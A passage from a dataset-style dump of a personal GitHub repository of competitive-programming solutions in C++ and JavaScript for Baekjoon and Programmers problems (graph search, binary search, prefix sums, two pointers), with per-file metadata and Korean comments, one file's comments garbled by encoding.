if(visited[i]) continue;\n\n visited[i] = true;\n dfs(i + 1);\n visited[i] = false;\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> s;\n\n for(int i = 1 ; i <= n ; i++) cin >> arr[i];\n\n dfs(1);\n if(s == 0) ans--;\n \n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.3451612889766693,"alphanum_fraction":0.3774193525314331,"avg_line_length":15.92727279663086,"blob_id":"9ecb17ea437ce400a0ebebe41826576d84ffe878","content_id":"d7e34b37c03138ba1f1f2cc1c0125f1aa760ed35","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":940,"license_type":"no_license","max_line_length":58,"num_lines":55,"path":"/BOJ/BFS_DFS/11403.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 11403번: 경로 찾기\nDATE: 2021-02-22\nBFS\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint n;\nint arr[101][101];\n\nvoid bfs(int num){\n bool visited[n] = {false, };\n queue<int> q;\n\n q.push(num);\n\n while(!q.empty()){\n int cur = q.front();\n q.pop();\n\n for(int i = 0 ; i < n ; i++){\n if(arr[cur][i] && !visited[i]){\n q.push(i);\n visited[i] = true;\n arr[num][i] = 1;\n }\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n;\n\n for(int i = 0 ; i < n ; i ++){\n for(int j = 0 ; j < n ; j++){\n cin >> arr[i][j]; \n }\n }\n\n for(int i = 0 ; i < n ; i++){\n bfs(i);\n }\n\n for(int i = 0 ; i < n ; i ++){\n for(int j = 0 ; j < n ; j++){\n cout << arr[i][j] << \" \"; \n }\n cout << \"\\n\";\n }\n\n return 0;\n}"},{"alpha_fraction":0.6489361524581909,"alphanum_fraction":0.7021276354789734,"avg_line_length":30.33333396911621,"blob_id":"a07a257eb16f8cf1bc76efd2268b4761f99186f1","content_id":"fe62c44c49a62509c9b785a1c43e0993d777d31a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":134,"license_type":"no_license","max_line_length":59,"num_lines":3,"path":"/README.md","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# ALGORITHM \n### 백준, 프로그래머스 문제 풀이\n자세한 풀이는 (https://9x211x2.tistory.com/category/ALGORITHM) ✏✏\n"},{"alpha_fraction":0.4636678099632263,"alphanum_fraction":0.49596309661865234,"avg_line_length":16.360000610351562,"blob_id":"a4c81e91c2cb7936b18d3473997a30282e559029","content_id":"ed8c47a214f84f7804f760347c65bd45f6933aa8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":877,"license_type":"no_license","max_line_length":52,"num_lines":50,"path":"/programmers/Level 1/make_prime_number.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1: 소수 만들기\n//2021-10-11\n#include <vector>\n#include <math.h>\n#include <iostream>\nusing namespace std;\n\nvector<int> v;\nint cArr[3];\nint answer = 0;\n\nbool isPrime(int num) {\n if(num < 2) return false;\n \n for(int i = 2 ; i <= sqrt(num) ; i++) {\n if(num % i == 0) return false;\n }\n \n return true;\n}\n\nvoid combination(int depth, int next) {\n if(depth == 3) {\n int sum = 0;\n \n for(int i = 0 ; i < 3 ; i++) sum += cArr[i];\n if(isPrime(sum)) answer++;\n \n return;\n }\n \n for(int i = next ; i <= v.size() ; i++) {\n cArr[depth] = v[i - 1];\n combination(depth + 1, i + 1);\n }\n}\n\nint solution(vector<int> nums) {\n v = nums;\n combination(0, 1);\n \n return answer;\n}\n\nint main() {\n int answer = solution({1, 2, 3, 4});\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.3113890588283539,"alphanum_fraction":0.3429888188838959,"avg_line_length":20.11111068725586,"blob_id":"a37d3097c89ced02bcdacf58ec500c4f9ae26118","content_id":"4be2ea597fb7c27ce424da89084241226e719749","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1621,"license_type":"no_license","max_line_length":71,"num_lines":72,"path":"/BOJ/Implementation/20055.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 20055번: 컨베이어 벨트 위의 로봇\nDATE: 2021-10-21\n*/\n#include <iostream>\n#include <vector>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, k, in, out;\n int ans = 0;\n cin >> n >> k;\n\n in = 0; out = n - 1; // 올리는 위치, 내리는 위치\n vector<pair<int,int>> v(n + n); // 내구도, 로봇 존재 여부\n \n for(int i = 0 ; i < n + n ; i++) {\n cin >> v[i].first;\n v[i].second = 0;\n }\n\n while(1) {\n bool flag = true;\n int check = 0;\n ans++; // 단계\n\n // 한 칸씩 회전\n pair<int,int> tmp = v[n + n - 1];\n\n for(int i = n + n - 2 ; i >= 0 ; i--) v[i + 1] = v[i];\n v[0] = tmp;\n\n if(v[out].second) v[out].second = 0;\n\n // 로봇 이동\n for(int i = n - 2 ; i >= 0 ; i--) {\n if(!v[i + 1].second && v[i].second && v[i + 1].first > 0) {\n v[i].second = 0;\n v[i + 1].first -= 1;\n v[i + 1].second = 1;\n\n if(i + 1 == out) {\n v[i + 1].second = 0;\n }\n }\n }\n\n // 로봇 올리기\n if(v[in].first > 0) {\n v[in].first -= 1;\n v[in].second = 1;\n }\n\n // 내구도 확인\n for(int i = 0 ; i < n + n ; i++) {\n if(v[i].first == 0) {\n check++;\n if(check == k) {\n flag = false;\n break;\n }\n }\n }\n\n if(!flag) break;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.3111254870891571,"alphanum_fraction":0.3363518714904785,"avg_line_length":23.95161247253418,"blob_id":"72dca78abe27b61b8961e1bcf0f636cf8a92294b","content_id":"5ed24ecf020609305e76ce3ef65291812cb122ac","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1552,"license_type":"no_license","max_line_length":94,"num_lines":62,"path":"/BOJ/Two Pointer/17609.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 17609번: 회문\nDATE: 2022-03-18\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int t;\n string orgStr, revStr;\n\n cin >> t;\n\n while(t--){\n cin >> revStr;\n\n orgStr = revStr;\n reverse(revStr.begin(), revStr.end());\n\n if(orgStr == revStr) cout << 0 << '\\n';\n else{\n int s = 0, e = orgStr.length() - 1;\n int cnt = 0;\n\n while(s < e){\n if(orgStr[s] == orgStr[e]){\n s++;\n e--;\n }\n else if(orgStr[s + 1] == orgStr[e] && orgStr[s] != orgStr[e - 1] && cnt == 0){\n cnt++;\n s++;\n }\n else if(orgStr[s] == orgStr[e - 1] && orgStr[s + 1] != orgStr[e] && cnt == 0){\n cnt++;\n e--;\n }\n else{\n string A = orgStr, B = orgStr;\n A.erase(s, 1);\n B.erase(e, 1);\n \n string revA = A, revB = B;\n reverse(revA.begin(), revA.end());\n reverse(revB.begin(), revB.end());\n\n if(revA == A || revB == B) cout << 1 << '\\n';\n else cout << 2 << '\\n';\n\n cnt = 100000;\n break;\n }\n }\n\n if(cnt == 1) cout << 1 << '\\n';\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.3979797959327698,"alphanum_fraction":0.4484848380088806,"avg_line_length":14.030303001403809,"blob_id":"14bafcf51503c339a6fc076b05ed6bf5186098dd","content_id":"019510e9d42fb4c12322e272c4a7ab5ae92c4694","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":507,"license_type":"no_license","max_line_length":58,"num_lines":33,"path":"/BOJ/Implementation/14425.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 14425번: 문자열 집합\nDATE: 2021-02-15\n*/\n#include <iostream>\n#include <map>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, cnt=0;\n cin >> n >> m;\n\n map<string, int> m1;\n\n for(int i = 0 ; i < n ; i++){\n string str;\n cin >> str;\n\n m1[str] = 1;\n }\n\n for(int i = 0 ; i < m ; i++){\n string str;\n cin >> str;\n \n if(m1[str] == 1) cnt++;\n }\n\n cout << cnt;\n\n return 0;\n}"},{"alpha_fraction":0.40799999237060547,"alphanum_fraction":0.4533333480358124,"avg_line_length":18.256410598754883,"blob_id":"33d0f942f1c9c3653c6201c9917b79ecf5a046e0","content_id":"07635befae89dbf78e7b37ceb95eb3dd7368825d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":790,"license_type":"no_license","max_line_length":58,"num_lines":39,"path":"/BOJ/Bitmask/2961.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2961번: 도영이가 만든 맛있는 음식\nDATE: 2022-01-26\nBitmask\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, a, b;\n long long minimum = 10000000000;\n cin >> n;\n\n vector<pair<int,int>> vec(n);\n\n for(int i = 0 ; i < n ; i++) {\n cin >> vec[i].first >> vec[i].second;\n }\n\n for(int i = 1 ; i < (1 << n) ; i++) { // 부분 집합 전체 개수\n long long a = 1, b = 0;\n\n for(int j = 0 ; j < n ; j++){\n if(i & (1 << j)) {\n a *= vec[j].first; \n b += vec[j].second;\n }\n }\n\n minimum = min(minimum, abs(a - b));\n }\n\n cout << minimum;\n \n return 0;\n}"},{"alpha_fraction":0.42115384340286255,"alphanum_fraction":0.4596153795719147,"avg_line_length":16.366666793823242,"blob_id":"0e526f4b44c0dfd7ef928588e69fd94057a89830","content_id":"25dd14f9023aff849914ba98c51d401585d8a3d7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":532,"license_type":"no_license","max_line_length":60,"num_lines":30,"path":"/BOJ/Implementation/11728.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11728번: 배열 합치기\n2021-12-28\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> v;\n int a, b, n;\n cin >> a >> b;\n\n for(int i = 0 ; i < a ; i++) {\n cin >> n;\n v.push_back(n);\n }\n\n for(int i = 0 ; i < b ; i++) {\n cin >> n;\n v.push_back(n);\n }\n\n sort(v.begin(), v.end());\n for(int i = 0 ; i < v.size() ; i++) cout << v[i] << \" \";\n\n return 0;\n}"},{"alpha_fraction":0.4411085546016693,"alphanum_fraction":0.48960739374160767,"avg_line_length":12.151515007019043,"blob_id":"63b544087844ff73f4b25e744b2c3b37b03d8e98","content_id":"b9e1c314b329c43f119045bc6300d9769e4b13fd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":441,"license_type":"no_license","max_line_length":30,"num_lines":33,"path":"/BOJ/Implementation/11279.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"WINDOWS-1252","text":"/*\nBOJ 11279¹ø: ÃÖ´ë Èü\nDATE: 2021-01-06\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main() {\n\tios_base::sync_with_stdio(0);\n\tcin.tie(0);\n\n\tint n, x;\n\tpriority_queue<int> pq;\n\n\tcin >> n;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> x;\n\t\tif (x != 0) {\n\t\t\tpq.push(x);\n\t\t}\n\t\telse if (x == 0) {\n\t\t\tif (pq.empty()) {\n\t\t\t\tcout << 0 << \"\\n\";\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcout << pq.top() << \"\\n\";\n\t\t\tpq.pop();\n\t\t}\n\t}\n\treturn 0;\n}"},{"alpha_fraction":0.4329896867275238,"alphanum_fraction":0.47766321897506714,"avg_line_length":14.368420600891113,"blob_id":"e09ada9a1eb2b4efac11c21eeac24b1f4a6177c8","content_id":"0496568ddd203dd959ea38c3027cd3cec1b926af","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":295,"license_type":"no_license","max_line_length":47,"num_lines":19,"path":"/programmers/Level 2/carpet.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 카펫\n2021-12-27\n*/\nfunction solution(brown, yellow) {\n let answer = [];\n let h = 3, w;\n\n while (1) {\n w = Math.floor((brown + yellow) / h);\n\n if ((h - 2) * (w - 2) == yellow) break;\n h++;\n }\n\n answer.push(w, h);\n\n return answer;\n}"},{"alpha_fraction":0.33853355050086975,"alphanum_fraction":0.40873634815216064,"avg_line_length":17.882352828979492,"blob_id":"34535d0335d4f12a7ef82ebe23677801b35acaf7","content_id":"083748add1b612e24102102b880b8a2437e656a3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":655,"license_type":"no_license","max_line_length":75,"num_lines":34,"path":"/BOJ/Prefix Sum/11660.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11660번: 구간 합 구하기 5\nDATE: 2022-01-22\nPrefix Sum\n*/\n#include <iostream>\nusing namespace std;\n\nint arr[1025][1026];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, ans = 0;\n int x1, y1, x2, y2;\n cin >> n >> m;\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n cin >> arr[i][j];\n arr[i][j] += arr[i][j - 1];\n }\n }\n \n for(int i = 0 ; i < m ; i++){\n cin >> x1 >> y1 >> x2 >> y2;\n\n ans = 0;\n for(int i = x1 ; i <= x2 ; i++) ans += arr[i][y2] - arr[i][y1 - 1];\n\n cout << ans << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.37249594926834106,"alphanum_fraction":0.4120194911956787,"avg_line_length":21.265060424804688,"blob_id":"03a3178c1167ce6a646ef601248fb45f5cc82e8d","content_id":"73f68633b4e522f3c4d704eb2b55188ee92c9a1b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1847,"license_type":"no_license","max_line_length":119,"num_lines":83,"path":"/programmers/Level 2/kakao_friends_coloringbook.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 2 : KAKAO friends coloring book\n//2017 KAKAO CODE\n//2021-05-26\n#include <vector>\n#include <algorithm>\n#include <iostream>\n#define MAX 101\nusing namespace std;\nint arr[MAX][MAX];\nbool visited[MAX][MAX];\nint cnt, area, r, c;\nint dx[] = { 0, 0, 1, -1 };\nint dy[] = { 1, -1, 0, 0 };\n\nvoid dfs(int x, int y){\n int n = arr[x][y];\n arr[x][y] = 0;\n cnt++;\n \n for(int i = 0 ; i < 4 ; i++){\n int nx = x + dx[i];\n int ny = y + dy[i];\n \n if(nx < 0 || ny < 0 || nx >= r || ny >= c || visited[nx][ny])\n continue;\n if(arr[nx][ny] == n){\n dfs(nx, ny);\n }\n }\n}\n\nvector<int> solution(int m, int n, vector<vector<int>> picture) {\n int number_of_area = 0;\n int max_size_of_one_area = 0;\n vector<int> answer(2);\n vector<int> v;\n \n cnt = area = 0;\n r = m;\n c = n;\n\n for(int i = 0 ; i < MAX ; i++){\n for(int j = 0 ; j < MAX ; j++){\n arr[i][j] = visited[i][j] = 0;\n \n }\n }\n \n for(int i = 0 ; i < m ; i++){\n for(int j = 0 ; j < n ; j++){\n arr[i][j] = picture[i][j];\n }\n } \n \n for(int i = 0 ; i < m ; i++){\n for(int j = 0 ; j < n ; j++){\n if(arr[i][j] != 0){\n cnt = 0;\n dfs(i, j);\n area++;\n v.push_back(cnt);\n }\n }\n }\n \n sort(v.begin(), v.end());\n \n answer[0] = number_of_area = area;\n answer[1] = max_size_of_one_area = v[v.size() - 1];\n return answer;\n}\n\nint main(){\n vector<vector<int>> picture = {{1, 1, 1, 0}, {1, 1, 1, 0}, {0, 0, 0, 1}, {0, 0, 0, 1}, {0, 0, 0, 1}, {0, 0, 0, 1}};\n \n vector <int> answer = solution(6, 4, picture);\n\n for(int i = 0 ; i < answer.size() ; i++){\n cout << answer[i] << \" \";\n }\n\n return 0;\n}"},{"alpha_fraction":0.3957446813583374,"alphanum_fraction":0.42553192377090454,"avg_line_length":15.821428298950195,"blob_id":"023d689f428c69498c444aee4793e0006a44a39b","content_id":"e5a5050e623e12437b912f2a09030f50dad31fa6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":476,"license_type":"no_license","max_line_length":58,"num_lines":28,"path":"/BOJ/Implementation/9012.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9012번: 괄호\nDATE: 2022-04-05\n*/\n#include <iostream>\n#include <stack>\nusing namespace std;\n\nint main(){\n int t;\n cin >> t;\n\n while(t--){\n stack<char> s;\n string str;\n cin >> str;\n\n for(int i = 0 ; i < str.length() ; i++) {\n if(s.empty() || str[i] == '(') s.push(str[i]);\n else if(s.top() == '(') s.pop();\n }\n\n if(!s.empty()) cout << \"NO\\n\";\n else cout << \"YES\\n\";\n }\n\n return 0;\n}"},{"alpha_fraction":0.3884892165660858,"alphanum_fraction":0.42446044087409973,"avg_line_length":17.730770111083984,"blob_id":"b944a110de3f04da15d9ffbee15f930a5788df33","content_id":"19f218b728d1a5342dc99fe8c86c53c0384e91d0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1115,"license_type":"no_license","max_line_length":69,"num_lines":52,"path":"/BOJ/Binary Search/2110.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2110번: 공유기 설치\nDATE: 2021-07-01\nUPDATE: 2021-11-29\nBinary Search\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, c, start, end, mid, ans=-1;\n cin >> n >> c;\n\n int arr[n];\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n\n sort(arr, arr+n);\n\n start = 1;\n end = arr[n-1];\n\n while(end - start >= 0){\n int cnt=1, idx = 0; \n mid = (end + start) / 2; //공유기 사이의 거리가 최소 x 이상일 때, 가능한 최대의 x값\n\n for(int i = 1 ; i < n ; i++){\n if(arr[i] - arr[idx] >= mid) {\n idx = i; // 공유기 설치\n cnt++;\n }\n }\n\n //공유기의 개수가 c보다 작으면: 최소 거리의 최댓값 감소\n //크거나 같으면: 최소 거리의 최댓값 증가\n if(cnt < c){ \n end = mid - 1;\n }\n else if(cnt >= c){\n start = mid + 1;\n ans = max(ans, mid);\n }\n\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4766214191913605,"alphanum_fraction":0.5037707686424255,"avg_line_length":18.52941131591797,"blob_id":"6fa857b3c074db913bac26b4f0018dcb81c1c5f3","content_id":"1013f0f02ca6664dd9ddd72d49c8784a11083083","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":665,"license_type":"no_license","max_line_length":77,"num_lines":34,"path":"/BOJ/Binary Search/1365.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1365번: 꼬인 전깃줄\n2022-01-08\nLongest Increasing Subsequence\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n int n, num, cnt = 0;\n cin >> n;\n\n vector<int> vec;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n\n if(vec.empty()) vec.push_back(num);\n else {\n int back = vec.back();\n int idx = lower_bound(vec.begin(), vec.end(), num) - vec.begin();\n \n if(num > back) vec.push_back(num);\n else vec[idx] = num;\n }\n }\n\n cout << n - vec.size();\n\n return 0;\n}"},{"alpha_fraction":0.516883134841919,"alphanum_fraction":0.5480519533157349,"avg_line_length":15.083333015441895,"blob_id":"bf44278f241ffbedd79d060de8962000e8719777","content_id":"23e4e411f51696848f41cd10b8dfd87a82115734","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":399,"license_type":"no_license","max_line_length":51,"num_lines":24,"path":"/programmers/Level 2/remove_pair.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 짝지어 제거하기\ndate: 2022-06-01\n*/\n#include <iostream>\n#include <string>\n#include <stack>\nusing namespace std;\n\nint solution(string s)\n{\n int answer = -1;\n stack<char> st;\n \n for(auto i : s){\n if(st.empty() || st.top() != i) st.push(i);\n else st.pop();\n }\n \n if(st.empty()) answer = 1;\n else answer = 0;\n \n return answer;\n}"},{"alpha_fraction":0.41342756152153015,"alphanum_fraction":0.4540635943412781,"avg_line_length":16.18181800842285,"blob_id":"8138c51f6c6c57c7c01cf2b0d8efe24433b02d6e","content_id":"ecaa2fbff03e1c44853a46993e763eaead2b4145","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":568,"license_type":"no_license","max_line_length":58,"num_lines":33,"path":"/BOJ/Prefix Sum/10211.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10211번: Maximum Subarray\nDATE: 2022-01-23\nPrefix Sum\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int tc, n;\n \n cin >> tc;\n\n for(int i = 0 ; i < tc ; i++){\n cin >> n;\n\n int arr[n];\n int maxVal = -1e9;\n int sum = 0;\n\n for(int j = 0 ; j < n ; j++) {\n cin >> arr[j];\n sum = max(0, sum) + arr[j];\n maxVal = max(maxVal, sum);\n }\n\n cout << maxVal << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.4746543765068054,"alphanum_fraction":0.5299538969993591,"avg_line_length":20.799999237060547,"blob_id":"b963557c536d0b4ae22e33d9fe624c8790d55508","content_id":"e70875d860a56455af122861cc018776376fedea","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":225,"license_type":"no_license","max_line_length":74,"num_lines":10,"path":"/programmers/Level 2/the_biggest_number.js","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 가장 큰 수\n2021-12-27\n*/\nfunction solution(numbers) {\n let answer = numbers.sort((a, b) => `${b}${a}` - `${a}${b}`).join('');\n answer = answer[0] === \"0\" ? \"0\" : answer;\n\n return answer;\n}"},{"alpha_fraction":0.3964562714099884,"alphanum_fraction":0.42303434014320374,"avg_line_length":16.056604385375977,"blob_id":"4e6f764296b6835814c49109b3208a1e22293861","content_id":"a815cae47408c916e84ec4238be82e2e036128c0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":909,"license_type":"no_license","max_line_length":59,"num_lines":53,"path":"/BOJ/Two Pointer/1253.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1253번: 좋다\nDATE: 2022-01-18\nTwo pointer\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n vector<int> vec;\n int n, input;\n int start, end;\n int ans = 0;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> input;\n vec.push_back(input);\n }\n\n if(n <= 2) {\n cout << 0;\n return 0;\n }\n\n sort(vec.begin(), vec.end());\n\n for(int i = 0 ; i < n ; i++) { \n vector<int> cp = vec;\n cp.erase(cp.begin() + i);\n \n start = 0; end = n - 2;\n\n while(start < end) {\n int sum = cp[start] + cp[end];\n\n if(sum == vec[i]) {\n ans++;\n break;\n }\n\n if(sum < vec[i]) start++;\n else end--;\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4269340932369232,"alphanum_fraction":0.4985673427581787,"avg_line_length":16.5,"blob_id":"83f2985a23bc26e8f58eee0ed7c4bb0057faf9e8","content_id":"c75f7fe3e3a9d6267b2d68d682edc033875f7f93","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":369,"license_type":"no_license","max_line_length":58,"num_lines":20,"path":"/BOJ/Implementation/11721.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 11721번: 열 개씩 끊어 출력하기\n//2021-05-04\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str;\n cin >> str;\n\n while(1){\n if(str.length() == 0)\n break;\n \n cout << str.substr(0, 10) << '\\n';\n str.erase(0, 10);\n }\n\n return 0;\n}"},{"alpha_fraction":0.4141252040863037,"alphanum_fraction":0.43338683247566223,"avg_line_length":18.793651580810547,"blob_id":"d290e3a8cb30727f0c4232db330006fa78762cc2","content_id":"e26bef202e06a4d90bf2ebc82eb0b569deb2f24c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1274,"license_type":"no_license","max_line_length":65,"num_lines":63,"path":"/BOJ/Binary Search/2143.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2143번: 두 배열의 합\nDATE: 2022-02-09\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n int t, n, m, num;\n long long sum, ans = 0;\n\n vector<long long> a, b, aSum, bSum;\n\n cin >> t >> n;\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n a.push_back(num);\n }\n\n cin >> m;\n for(int i = 0 ; i < m ; i++) {\n cin >> num;\n b.push_back(num);\n }\n \n for(int i = 0 ; i < n ; i++){\n aSum.push_back(a[i]);\n sum = a[i];\n\n for(int j = i + 1 ; j < n ; j++){\n sum += a[j];\n aSum.push_back(sum);\n }\n }\n\n for(int i = 0 ; i < m ; i++){\n bSum.push_back(b[i]);\n sum = b[i];\n\n for(int j = i + 1 ; j < m ; j++){\n sum += b[j];\n bSum.push_back(sum);\n }\n }\n\n sort(bSum.begin(), bSum.end());\n\n for(int i = 0 ; i < aSum.size() ; i++) {\n int diff = t - aSum[i]; \n\n auto lower = lower_bound(bSum.begin(), bSum.end(), diff);\n auto upper = upper_bound(bSum.begin(), bSum.end(), diff);\n\n ans += upper - lower; //bSum에 존재하는 diff의 개수\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.41085270047187805,"alphanum_fraction":0.4635658860206604,"avg_line_length":13.333333015441895,"blob_id":"0eeab2843df378d4ab245900eeb287088a54a263","content_id":"932b431475a28bdf9f74e99c2cb61577f063345c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":677,"license_type":"no_license","max_line_length":55,"num_lines":45,"path":"/BOJ/Greedy/11501.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 11501번: 주식\nDATE: 2021-01-10\n*/\n#include <iostream>\nusing namespace std;\nint price[1000000] = { 0, };\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n\tint t, n, max;\n\tlong long ans;\n\n\tcin >> t;\n\tfor (int i = 0; i < t; i++) {\n\t\tcin >> n;\n\t\tfor (int j = 0; j < n; j++) {\n\t\t\tcin >> price[j];\n\t\t}\n\n\t\tans = 0;\n\t\tmax = price[n-1]; \n\n\t\tfor (int k = n-1 ; k >= 0 ; k--) {\n\t\t\tif (price[k] > max) { //가장 큰 주가\n\t\t\t\tmax = price[k];\n\t\t\t}\n\t\t\telse if (price[k] < max) { //이익 발생\n\t\t\t\tans += max - price[k];\n\t\t\t}\n\t\t}\n\n\t\tif (max == price[0]) { //최대 이익 0\n\t\t\tcout << 0 << \"\\n\";\n\t\t\tcontinue;\n\t\t}\n\n\t\tcout << ans << \"\\n\";\n\n\t}\n\n\treturn 0;\n\n}\n"},{"alpha_fraction":0.47686833143234253,"alphanum_fraction":0.5088967680931091,"avg_line_length":17.161291122436523,"blob_id":"7c889d80877a9a1939650d8f6100c422ab9d8a06","content_id":"0ef42b8f7cd1374b874619244339315c96b80082","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":572,"license_type":"no_license","max_line_length":58,"num_lines":31,"path":"/BOJ/Implementation/1181.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1181번: 단어 정렬\nDATE: 2021-04-29\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nvector<pair<int, string>> v;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n string str;\n cin >> str;\n v.push_back(make_pair(str.length(), str));\n }\n\n sort(v.begin(), v.end());\n v.erase(unique(v.begin(), v.end()), v.end()); \n\n for(int i = 0 ; i < v.size() ; i++){\n cout << v[i].second << '\\n';\n }\n\n return 